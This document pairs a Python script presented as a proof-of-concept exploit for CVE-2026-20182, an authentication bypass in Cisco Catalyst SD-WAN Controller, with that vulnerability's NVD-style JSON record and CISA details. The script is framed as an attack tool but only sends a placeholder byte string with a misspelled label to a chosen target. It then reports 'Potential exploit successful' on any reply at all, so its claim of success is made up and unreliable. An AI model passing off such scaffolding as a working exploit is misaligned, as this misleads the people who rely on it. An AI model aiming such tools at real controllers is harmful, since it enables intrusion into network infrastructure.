CVE-2026-20182

#!/usr/bin/env python3 # This is a conceptual Proof of Concept for CVE-2026-20182 # Exploitation involves sending a crafted request to bypass peering authentication. import socket import sys def send_exploit(target_ip, target_port): """ Sends a crafted packet to bypass authentication on Cisco SD-WAN Controller. Note: Actual packet structure depends on the specific protocol handshake manipulation. """ try: print(f"[*] Connecting to {target_ip}:{target_port}...") # Establish a TCP connection to the control service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_ip, target_port)) # Crafted payload simulating a trusted peer handshake # In a real scenario, this would contain specific bytes or headers that trick the auth logic payload = b"\x00\x01\x02\x03MALICIOUS_HANDSHAKE_BYPAYSS_AUTH" print("[*] Sending crafted authentication bypass request...") s.send(payload) # Receive response response = s.recv(1024) print(f"[+] Received response: {response}") if response: print("[!] Potential exploit successful. Check administrative access.") else: print("[-] No response received.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_ip> <port>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) send_exploit(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-20182", "sourceIdentifier": "[email protected]", "published": "2026-05-14T17:16:19.387", "lastModified": "2026-05-14T18:16:35.260", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "May 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The section of this advisory includes Show Control Connections guidance to help with system checks.&nbsp;\r\n\r\nA vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system.\r\nThis vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "cisaExploitAdd": "2026-05-14", "cisaActionDue": "2026-05-17", "cisaRequiredAction": "Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlined in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.", "cisaVulnerabilityName": "Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk", "source": "[email protected]"}, {"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW", "source": "[email protected]"}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20182", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}